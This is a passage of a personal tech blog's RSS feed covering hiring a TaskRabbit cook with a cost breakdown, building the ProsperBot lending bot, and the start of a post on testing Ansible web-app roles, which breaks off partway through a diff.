


 &lt;/div>
 &lt;figcaption>&lt;p>Bacon Wrapped Stuffed Pork Tenderloin: finished product.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>The experience went pretty much exactly as I had wanted it to. I&amp;rsquo;ve hired Leah to cook three more times since then, and I&amp;rsquo;ve been pleased with the results every time.&lt;/p>
&lt;h2 id="how-much-does-it-cost">How much does it cost?&lt;/h2>
&lt;p>When I tell people I&amp;rsquo;m doing this, the first thing they ask is, &amp;ldquo;How much does it cost?&amp;rdquo; Until I sat down to write this post, I wasn&amp;rsquo;t sure.&lt;/p>
&lt;p>It&amp;rsquo;s easy to calculate the cost of hiring a TaskRabbit because I get a bill at the end of each session. It&amp;rsquo;s much harder to determine the cost of ingredients. I don&amp;rsquo;t buy all the ingredients for a meal at the same time, and I can&amp;rsquo;t buy the exact amount of each ingredient that a recipe calls for.&lt;/p>
&lt;h3 id="figuring-out-ingredient-costs">Figuring out ingredient costs&lt;/h3>
&lt;p>The most straightforward way to account for ingredient costs is to amortize by the amount that the recipe requires. For example, if a recipe calls for 3 oz of cream cheese, and an 8 oz package costs $3.49, the amortized cost of that ingredient is $1.31 (⅜ * $3.49).&lt;/p>
&lt;p>This is a very conservative estimate because many of my of recipes call for ingredients that spoil, so I end up having to throw ingredients away when I can&amp;rsquo;t use them in other meals. There are also ingredients that don&amp;rsquo;t spoil quickly, but will be difficult to use completely, like powdered Ranch dressing. The smallest amount I could buy was $14.03 for a 16 oz container, but the recipe only called for 2 tsp, or $0.29 worth. It has a shelf life of about 5 months, but it&amp;rsquo;s going to be tough finding more recipes that call for powdered Ranch dressing. Overall, I probably lose about $3-6 per cooking session to suboptimal ingredient purchasing.&lt;/p>
&lt;h3 id="by-the-numbers">By the numbers&lt;/h3>
&lt;p>The tables below show my full costs for each cooking session. I bought all the ingredients from Amazon and a grocery delivery service called FreshDirect. The labor costs include the TaskRabbit&amp;rsquo;s hourly rate and all taxes and fees.&lt;/p>
&lt;h4 id="session-1">Session 1&lt;/h4>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Item&lt;/th>
 &lt;th>Cost&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://www.ruled.me/bacon-wrapped-stuffed-pork-tenderloin/">Bacon Wrapped Stuffed Pork Tenderloin (4 servings)&lt;/a>&lt;/td>
 &lt;td>$26.69&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://www.ruled.me/neapolitan-fat-bombs/">Neapolitan Fat Bombs (24 servings)&lt;/a>&lt;/td>
 &lt;td>$19.30&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Labor (2 hrs, 15 mins)&lt;/td>
 &lt;td>$62.88&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$108.87&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h4 id="session-2">Session 2&lt;/h4>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Item&lt;/th>
 &lt;th>Cost&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://www.ruled.me/applewood-seared-pork-chops/">Applewood Seared Pork Chops (4 servings)&lt;/a>&lt;/td>
 &lt;td>$13.39&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://www.ruled.me/garlic-and-bacon-brussels-sprouts/">Garlic and Bacon Brussels Sprouts (4 servings)&lt;/a>&lt;/td>
 &lt;td>$10.11&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://ketodietapp.com/Blog/post/2015/12/21/ultimate-keto-chocolate-brownies">Ultimate Keto Chocolate Brownies (16 servings)&lt;/a>&lt;/td>
 &lt;td>$24.14&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Labor (2 hrs, 15 mins)&lt;/td>
 &lt;td>$62.88&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$110.51&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h4 id="session-3">Session 3&lt;/h4>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Item&lt;/th>
 &lt;th>Cost&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://www.ruled.me/creamy-spinach-pork-tenderloin-roulade/">Creamy Spinach Pork Tenderloin Roulade (4 servings)&lt;/a>&lt;/td>
 &lt;td>$15.02&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="http://www.epicurious.com/recipes/food/views/green-beans-with-olive-oil-233987">Green Beans with Olive Oil (4 servings)&lt;/a>&lt;/td>
 &lt;td>$4.08&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://www.ruled.me/chocolate-keto-brownies/">Delicious Chocolate Keto Brownies (16 servings)&lt;/a>&lt;/td>
 &lt;td>$9.08&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://www.ruled.me/neapolitan-fat-bombs/">Neapolitan Fat Bombs (24 servings)&lt;/a>&lt;/td>
 &lt;td>$19.30&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Labor (3 hours)&lt;/td>
 &lt;td>$83.85&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$131.33&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h4 id="session-4">Session 4&lt;/h4>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Item&lt;/th>
 &lt;th>Cost&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://www.ruled.me/simple-chicken-parmesan/">Simple Chicken Parmesan (4 servings)&lt;/a>&lt;/td>
 &lt;td>$30.11&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://www.ruled.me/cheesy-creamed-spinach/">Cheesy Creamed Spinach (4 servings)&lt;/a>&lt;/td>
 &lt;td>$8.86&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://www.ruled.me/raspberry-cheesecake-cupcakes/">Raspberry Cheesecake Cupcakes (12 servings)&lt;/a>&lt;/td>
 &lt;td>$15.03&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Labor (2 hours)&lt;/td>
 &lt;td>$55.90&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$109.89&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 750px">



 &lt;a href="https://mtlynch.io/taskrabbit-cooking/cooking-costs.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 750px, 98vw"
 srcset='https://mtlynch.io/taskrabbit-cooking/cooking-costs_hu_767bd18d3a5fe581.png 300w, https://mtlynch.io/taskrabbit-cooking/cooking-costs_hu_27de79e7dd15c0e8.png 600w, https://mtlynch.io/taskrabbit-cooking/cooking-costs_hu_bfe7e972af412da8.png 800w, https://mtlynch.io/taskrabbit-cooking/cooking-costs.png 945w'
 src="https://mtlynch.io/taskrabbit-cooking/cooking-costs.png" alt="ProsperBot screenshot" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="how-does-this-compare-to-restaurant-delivery">How does this compare to restaurant delivery?&lt;/h3>
&lt;p>TaskRabbit cooking has taken the place of restaurant delivery for me. I still cook some of my own meals, like scrambled eggs or steak, but I’ve stopped ordering from restaurants almost entirely.&lt;/p>
&lt;h4 id="cost-tie">Cost: Tie&lt;/h4>
&lt;p>In my case, the cost for TaskRabbit home cooking is roughly equal to the cost of ordering delivery.&lt;/p>
&lt;p>In Session 4, for example, the cost works out to around $20 for each entrée and $2.50 for each dessert (the &lt;a href="https://www.ruled.me/raspberry-cheesecake-cupcakes/">cheesecake cupcakes&lt;/a> were &lt;em>amazing&lt;/em>, by the way). That cost assumes optimal use of ingredients, so in practice, it&amp;rsquo;s probably $1-2 higher per meal.&lt;/p>
&lt;p>With restaurant delivery, I tend to spend around $10-20 on lunches and $15-30 on dinners, including tax, tip, and fees. Overall, I&amp;rsquo;d say it&amp;rsquo;s a wash between the two.&lt;/p>
&lt;h4 id="time-management-taskrabbit-wins">Time management: TaskRabbit wins&lt;/h4>
&lt;p>When I order food from a restaurant, it arrives anywhere from 20 to 90 minutes later. It&amp;rsquo;s difficult for me to be productive in the meantime because I can&amp;rsquo;t fully focus when I know an interruption is coming.&lt;/p>
&lt;p>With a TaskRabbit chef, I get several meals that I can freeze for the week. When I want these meals later, I can just eat them as soon as I&amp;rsquo;m hungry. This eliminates unpredictable interruptions and gives me much better control of my time.&lt;/p>
&lt;h4 id="nutritional-choices-taskrabbit-wins">Nutritional choices: TaskRabbit wins&lt;/h4>
&lt;p>As discussed in the introduction, there are not many restaurant delivery options that match my preferred diet. Even among restaurants that have options that &lt;em>seem&lt;/em> low carb, it&amp;rsquo;s rare for the restaurant to provide exact nutritional information. With TaskRabbit cooking, I know exactly what&amp;rsquo;s in my food, which allows me to make more informed choices about what I eat.&lt;/p>
&lt;h2 id="what-i-learned">What I learned&lt;/h2>
&lt;p>This experience made me realize that I find cooking very exciting when I don&amp;rsquo;t have to do it.&lt;/p>
&lt;p>I have friends who become enthusiastic just from reading recipes, and I&amp;rsquo;ve never been able to relate to that. I just think about how all the work of cooking isn&amp;rsquo;t worth the effort for me. But now that I&amp;rsquo;ve separated choosing a recipe from the effort of cooking, I find it really fun. I&amp;rsquo;ll scroll through recipes and think, &amp;ldquo;Wow, I can&amp;rsquo;t wait to schedule Leah so I can eat that!&amp;rdquo;&lt;/p>
&lt;h2 id="whats-next">What&amp;rsquo;s next?&lt;/h2>
&lt;p>One shortcoming of this arrangement is that I burn a lot of time searching for good recipes and managing the ingredients. A friend suggested that I&amp;rsquo;m probably paying a rate close to what hourly chefs charge, so I&amp;rsquo;m investigating whether it&amp;rsquo;s feasible to hire a private chef outside of TaskRabbit who either brings their own ingredients to me or cooks in their own kitchen and delivers to me.&lt;/p>
&lt;h2 id="tips-for-hiring-taskrabbit-chefs">Tips for hiring TaskRabbit chefs&lt;/h2>
&lt;h3 id="buy-your-own-ingredients">Buy your own ingredients&lt;/h3>
&lt;p>In my experience, asking the TaskRabbit to both cook and shop limits the workers who will be interested in the job and introduces too much complexity into the task. You&amp;rsquo;d have to communicate what to buy, how much is okay to spend, reimburse them, and figure out fair pay if the rate they charge for shopping tasks differs from their cooking rate.&lt;/p>
&lt;h3 id="prep-the-kitchen">Prep the kitchen&lt;/h3>
&lt;p>I make sure to have everything prepared to go by the time my TaskRabbit arrives. Recipes are printed, counters are clear, ingredients are ready.&lt;/p>
&lt;p>One thing I find easy to forget is clearing space in my fridge or freezer for recipes that need to be chilled or frozen. Leah has kindly rearranged my refrigerator space for me when I&amp;rsquo;ve forgotten, but I&amp;rsquo;d rather let her focus on cooking.&lt;/p>
&lt;h3 id="give-a-tour">Give a tour&lt;/h3>
&lt;p>After the first session, I found that some of the kitchen tools I expected Leah to need (e.g. measuring spoons, spatula) were unused. I realized that she probably didn&amp;rsquo;t notice that I had them and decided to make do without.&lt;/p>
&lt;p>After that, I organized my kitchen so that all of my cooking tools were in more obvious places. The next time Leah came to cook, I walked her through what I had available and showed her where to find everything.&lt;/p>
&lt;h3 id="check-in-after-to-solicit-feedback">Check in after to solicit feedback&lt;/h3>
&lt;p>Related to the above, I realized that Leah was probably uncomfortable telling me that I was missing kitchen equipment that she needed. If I wanted to find out about problems, I&amp;rsquo;d need to ask her. Aside from that, she&amp;rsquo;s in my home working for me, so I wanted to make sure I was treating her with respect and fostering a good work environment.&lt;/p>
&lt;p>After the first session, I reached out to Leah to ask if there were any changes I could make to the process or to my kitchen setup to improve the work experience for her. Interestingly, she brought up my &lt;a href="https://smile.amazon.com/dp/B017IATJ6U/">Magic Bullet&lt;/a>, a small blender I use for its ease of cleaning. She told me that it works great for liquids, but not so well for mixing dry ingredients. She recommended an immersion blender, so I ordered &lt;a href="https://smile.amazon.com/dp/B00AN9UJ68/">a basic one&lt;/a> from Amazon for $50. Easy peasy.&lt;/p>
&lt;p>I&amp;rsquo;ve made this feedback check a regular practice, and it continues to bring forth useful suggestions from Leah. Many of her recommendations have come in handy even when I&amp;rsquo;m just cooking for myself.&lt;/p>
&lt;h3 id="dont-add-a-tip">Don&amp;rsquo;t add a tip&lt;/h3>
&lt;p>This one&amp;rsquo;s not so much a recommendation, just what I choose to do.&lt;/p>
&lt;p>TaskRabbit allows you to add tip, but from what I&amp;rsquo;ve read online, adding a tip is not the norm. I think &lt;a href="https://www.youtube.com/watch?v=q_vivC7c_1k">tipping culture is net negative&lt;/a>, so I don&amp;rsquo;t tip for things unless it&amp;rsquo;s a strongly implied part of the cost, such as restaurants or taxis. Each TaskRabbit worker chooses their own rate for the services they offer, so it doesn&amp;rsquo;t make sense to add a tip on top of that.&lt;/p></content:encoded></item><item><title>Automated Prosper Investing with ProsperBot</title><link>https://mtlynch.io/prosperbot/</link><pubDate>Sat, 26 Nov 2016 00:00:00 +0000</pubDate><guid>https://mtlynch.io/prosperbot/</guid><description>&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>I started investing in peer to peer lending in 2014 through a site called &lt;a href="https://www.prosper.com/">Prosper&lt;/a>. I thought peer to peer lending was a neat idea and could potentially earn lucrative returns.&lt;/p>
&lt;p>When I began, I chose each of my loan investments manually, but over time, I have automated this process by building a lending bot called ProsperBot that invests for me automatically.&lt;/p>
&lt;p>In this blog post, I&amp;rsquo;ll give a brief overview of peer to peer lending and walk through the process of building ProsperBot.&lt;/p></description><content:encoded>&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>I started investing in peer to peer lending in 2014 through a site called &lt;a href="https://www.prosper.com/">Prosper&lt;/a>. I thought peer to peer lending was a neat idea and could potentially earn lucrative returns.&lt;/p>
&lt;p>When I began, I chose each of my loan investments manually, but over time, I have automated this process by building a lending bot called ProsperBot that invests for me automatically.&lt;/p>
&lt;p>In this blog post, I&amp;rsquo;ll give a brief overview of peer to peer lending and walk through the process of building ProsperBot.&lt;/p>
&lt;h2 id="what-is-peer-to-peer-lending">What is Peer to Peer Lending?&lt;/h2>
&lt;p>Imagine that Alice wants to borrow $3,000 to pay back over the next 5 years. Traditionally, Alice&amp;rsquo;s best option would be to apply for a loan at a bank. The bank gives her the $3,000 and if Alice pays back the loan as scheduled, the bank earns money through interest and fees on her loan. If she fails to pay back the loan, the bank absorbs the loss.&lt;/p>
&lt;p>With peer to peer lending, Alice visits a peer to peer intermediary (such as Lending Club and Prosper). Instead of putting up its own money, the intermediary offers the loan to its investors. Investors Bob, Charlie, and Danica can each purchase portions of Alice&amp;rsquo;s loan for $1,000 apiece. Alice makes monthly payments to the lending site, and the lending site, in turn, distributes 1/3 of Alice&amp;rsquo;s payments to Bob, Charlie, and Danica each month.&lt;/p>
&lt;p>The theory is that by cutting out the bank as the middleman, borrowers can get better rates than from traditional lenders and investors (lenders) can earn better interest than depositing their money in a bank through a savings account or CD. For more in-depth discussion of peer-to-peer lending, sites like &lt;a href="http://www.lendacademy.com/">Lend Academy&lt;/a> are an excellent resource.&lt;/p>
&lt;h2 id="what-is-prosperbot">What is ProsperBot&lt;/h2>
&lt;p>To invest in peer to peer loans with Prosper, investors can use Prosper&amp;rsquo;s web site to choose loans manually, but Prosper also offers a &lt;a href="https://developers.prosper.com/">public API&lt;/a> for developers to invest automatically.&lt;/p>
&lt;p>I chose the API route and developed ProsperBot, a lending bot that continuously searches for new loans on Prosper and invests in them when they meet certain criteria. It also includes a web dashboard, which shows ProsperBot&amp;rsquo;s current status and my Prosper account activity over time:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/prosperbot/prosperbot-frontend.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/prosperbot/prosperbot-frontend_hu_4f587a9cdc4f5b89.png 300w, https://mtlynch.io/prosperbot/prosperbot-frontend_hu_3cb95c8989e1741a.png 600w, https://mtlynch.io/prosperbot/prosperbot-frontend_hu_1a173891dd90eec4.png 800w, https://mtlynch.io/prosperbot/prosperbot-frontend.png 890w'
 src="https://mtlynch.io/prosperbot/prosperbot-frontend.png" alt="ProsperBot screenshot" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>As you can see in the graph, my account has been steadily increasing in value since April, as ProsperBot receives repayments on loans and reinvests the cash in new loans. My total account value begins to decline in October, as I have begun withdrawing money from my Prosper account.&lt;/p>
&lt;h2 id="piece-by-piece">Piece by Piece&lt;/h2>
&lt;p>There are several different pieces to ProsperBot, which I&amp;rsquo;ve diagrammed below:&lt;/p>
&lt;p>&lt;img src="https://docs.google.com/drawings/d/1QMUzdufLQ5Ks3TOvmNd0ScuRk0U4QfxewHvXcQtSfnI/pub?w=1056&amp;amp;h=784" alt="ProsperBot Architecture">&lt;/p>
&lt;h3 id="gofn-prosper-go-forth-n-prosper">gofn-prosper (Go Forth &amp;rsquo;n Prosper)&lt;/h3>
&lt;p>&lt;strong>&lt;a href="https://github.com/mtlynch/gofn-prosper">gofn-prosper&lt;/a>&lt;/strong> is a set of Go bindings for the public Prosper API. It abstracts away the details of Prosper&amp;rsquo;s API from the rest of the application, so that to do something like purchase a Prosper note, the application can do so like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>client.&lt;span style="color:#447fcf">PlaceBid&lt;/span>(prosper.BidRequest{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ListingID: &lt;span style="color:#3677a9">5492410&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> BidAmount: &lt;span style="color:#3677a9">25.0&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>})
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This is probably the most interesting part of the project for others, as it is completely independent of ProsperBot. Anyone interested in writing a Go application to interact with the Prosper API can re-use this library in their application.&lt;/p>
&lt;h3 id="prosperbot">ProsperBot&lt;/h3>
&lt;p>&lt;strong>&lt;a href="https://github.com/mtlynch/prosperbot">ProsperBot&lt;/a>&lt;/strong> is the application built on top of gofn-prosper to actually perform actions on Prosper. ProsperBot continually polls Prosper servers to:&lt;/p>
&lt;ul>
&lt;li>Query for newly available loans&lt;/li>
&lt;li>Invest in loans that meet investment criteria&lt;/li>
&lt;li>Detect changes in Prosper account status (e.g. change in cash balance, change in total account value)&lt;/li>
&lt;li>Detect updates to notes (received a repayment, note changed status)&lt;/li>
&lt;/ul>
&lt;p>ProsperBot stores all of its state in a &lt;strong>Redis&lt;/strong> database.&lt;/p>
&lt;p>This part is not as polished as I&amp;rsquo;d like (code has some hacks, is not well documented), but I&amp;rsquo;m publishing it mainly as an example usage of gofn-prosper.&lt;/p>
&lt;h3 id="prosperbot-frontend">ProsperBot Frontend&lt;/h3>
&lt;p>The &lt;strong>&lt;a href="https://github.com/mtlynch/prosperbot-frontend">ProsperBot Frontend&lt;/a>&lt;/strong> is an AngularJS web application that shows ProsperBot&amp;rsquo;s status (as seen in the screenshot above). It uses &lt;strong>nginx&lt;/strong> to handle requests for static resources (e.g. HTML files, images) and uses a custom Go server to handle requests for dynamic content. The Go server uses the same &lt;strong>Redis&lt;/strong> data store as ProsperBot to serve these dynamic requests.&lt;/p>
&lt;h2 id="deploying-prosperbot">Deploying ProsperBot&lt;/h2>
&lt;p>ProsperBot includes several different pieces and imposes some dependencies on the host system (Go, nginx, etc.). To simplify the process of deploying ProsperBot, I&amp;rsquo;ve written a couple of &lt;a href="https://www.ansible.com/">Ansible roles&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;a href="https://galaxy.ansible.com/mtlynch/prosperbot/">mtlynch.prosperbot&lt;/a>&lt;/strong> is the role that installs the core (headless) ProsperBot application.&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://galaxy.ansible.com/mtlynch/prosperbot-frontend/">mtlynch.prosperbot-frontend&lt;/a>&lt;/strong> deploys the frontend.&lt;/li>
&lt;/ul>
&lt;p>Splitting it this way makes it possible for someone to deploy ProsperBot, ProsperBot Frontend, and Redis each on a separate machine. I personally install all the components on a single server (example Ansible playbook for this is shown in the GitHub &lt;a href="https://github.com/mtlynch/ansible-role-prosperbot-frontend#example-playbook">README example&lt;/a>).&lt;/p>
&lt;h2 id="thoughts-on-prosper">Thoughts on Prosper&lt;/h2>
&lt;p>Overall, ProsperBot was a good learning experience for me, but I don&amp;rsquo;t recommend Prosper as an investment strategy. A few reasons:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Unprofitable at small scales&lt;/strong>: I get about 9% XIRR-based ROI from Prosper, which sounds decent at first &lt;em>but&lt;/em> income from peer-to-peer lending is taxed as ordinary income, which eats a much larger portion of your returns than a more traditional investment like stocks. It also means it complicates my taxes enough that I need to hire a tax accountant instead of using off-the-shelf tax software, so that&amp;rsquo;s $600 out of my earnings each year (almost 4% of a $16,000 investment).&lt;/li>
&lt;li>&lt;strong>Klunky API&lt;/strong>: The Prosper API itself is not designed very well. For example, it uses token-based authentication (good) and assigns application developers a client ID and secret instead of username/password, but then requires the username and password for all authentication, rendering the client ID and secret meaningless (bad). I&amp;rsquo;ve also noticed the API serving nonsense data like notes receiving negative repayments, which shouldn&amp;rsquo;t be happening for a production investment API.&lt;/li>
&lt;li>&lt;strong>Poor developer support&lt;/strong>: In 2015, Prosper overhauled their API (their previous API was even worse), but told developers they had just a month to switch to the completely new API before they shut down the old system. It was pretty brazen move to expect all Prosper client developers to just drop everything they&amp;rsquo;re doing and rewrite all their code within a month. To make matters worse, the new API was so buggy that Prosper had to extend the lifetime of the legacy API for another three months after forcing all the clients to scramble to meet the one-month deadline.&lt;/li>
&lt;li>&lt;strong>Decreased interest in retail investors&lt;/strong>: Prosper seems to be focusing more on institutional investors such as banks and less on individual, retail investors. The biggest move in this regard was in September 2016, &lt;a href="https://web.archive.org/web/20190719043039/http://forum.lendacademy.com/index.php/topic,4104.0.html">Prosper announced&lt;/a> that users could no longer sell loans on the secondary market. This was a drastic change in terms, as this made it impossible for investors to liquidate their Prosper holdings, so now I&amp;rsquo;m stuck with Prosper (and the associated tax headaches) for the next 5 years.&lt;/li>
&lt;/ul>
&lt;p>Prosper&amp;rsquo;s diminished interest in retail investors has convinced me to begin taking my money out (which you can see in the graphs above). I&amp;rsquo;ve heard good things about Prosper&amp;rsquo;s only major US competitor, Lending Club, so I&amp;rsquo;m planning to start moving my money there and writing a new lending bot for that site.&lt;/p></content:encoded></item><item><title>Testing Ansible Web App Roles with Selenium</title><link>https://mtlynch.io/testing-ansible-selenium/</link><pubDate>Sun, 25 Sep 2016 00:00:00 +0000</pubDate><guid>https://mtlynch.io/testing-ansible-selenium/</guid><description>&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>Ansible is an excellent tool for deploying web apps. Ansible allows us to define web apps in terms of the different &amp;ldquo;roles&amp;rdquo; that compose our web app (e.g. web server, database server, application server). As our roles and the interactions between them become more complex, we need appropriately stronger ways of testing our roles to verify we&amp;rsquo;re deploying our web app correctly.&lt;/p>
&lt;p>In &lt;a href="https://mtlynch.io/ansible-role-clipbucket/">our last post&lt;/a>, we used Ansible to deploy a web app called &lt;a href="http://www.clipbucket.com/">ClipBucket&lt;/a>, a video-hosting web app. In that post, we included automated tests to verify that the web app installed correctly, but these tests did not exercise application functionality very rigorously.&lt;/p></description><content:encoded>&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>Ansible is an excellent tool for deploying web apps. Ansible allows us to define web apps in terms of the different &amp;ldquo;roles&amp;rdquo; that compose our web app (e.g. web server, database server, application server). As our roles and the interactions between them become more complex, we need appropriately stronger ways of testing our roles to verify we&amp;rsquo;re deploying our web app correctly.&lt;/p>
&lt;p>In &lt;a href="https://mtlynch.io/ansible-role-clipbucket/">our last post&lt;/a>, we used Ansible to deploy a web app called &lt;a href="http://www.clipbucket.com/">ClipBucket&lt;/a>, a video-hosting web app. In that post, we included automated tests to verify that the web app installed correctly, but these tests did not exercise application functionality very rigorously.&lt;/p>
&lt;p>In this post, we&amp;rsquo;ll demonstrate stronger automated tests that exercise the app&amp;rsquo;s functionality more deeply. To help with this, we&amp;rsquo;ll be using a web browser automation tool called Selenium. We&amp;rsquo;ll continue using the ClipBucket role here, but the ideas should apply generally to any web app we deploy with Ansible.&lt;/p>
&lt;h2 id="basic-testing-with-curl">Basic Testing with &lt;code>curl&lt;/code>&lt;/h2>
&lt;p>In our original &lt;a href="https://github.com/mtlynch/ansible-role-clipbucket/blob/8d0bbdce24d09ab2027aa3a5a29ef377fcde34a4/build#L64...L67">build script&lt;/a>, our final test looked like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>curl -s &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">container_ip&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | grep &lt;span style="color:#ed9d13">&amp;#34;Login&amp;#34;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> (&lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;Landing page test: pass&amp;#39;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#24909d">exit&lt;/span> 0) || &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> (&lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;Landing page test: fail&amp;#39;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#24909d">exit&lt;/span> 1)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This is a useful test, as it verifies a few important properties of our web app, namely:&lt;/p>
&lt;ul>
&lt;li>Web server is listening on port 80&lt;/li>
&lt;li>Web server is responding to user requests&lt;/li>
&lt;li>Web server is serving the ClipBucket landing page&lt;/li>
&lt;/ul>
&lt;h2 id="why-we-need-better-tests">Why We Need Better Tests&lt;/h2>
&lt;p>Though the original tests gave us some important checks, they exercises very little of the web app&amp;rsquo;s actual functionality. It&amp;rsquo;s possible to introduce bugs into our Ansible role that would break our web app, but go undetected by our basic test.&lt;/p>
&lt;p>Imagine for example that we accidentally delete a critical task in our Clipbucket playbook:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-diff" data-lang="diff">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fff;font-weight:bold">diff --git a/tasks/main.yml b/tasks/main.yml
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fff;font-weight:bold">index 8542ffc..e9d42c0 100644
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fff;font-weight:bold">&lt;/span>&lt;span style="color:#d22323">--- a/tasks/main.yml
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">&lt;/span>&lt;span style="color:#589819">+++ b/tasks/main.yml
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#589819">&lt;/span>&lt;span style="color:#fff;text-decoration:underline">@@ -29,15 +29,6 @@
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fff;text-decoration:underline">&lt;/span> name: flvtool2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> state: present
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">-- name: create a symlink for ClipBucket to find ffmpeg and MP4Box
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">- file:
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">- path: &amp;#34;/usr/local/bin/{{ item }}&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">- src: &amp;#34;/usr/bin/{{ item }}&amp;#34;
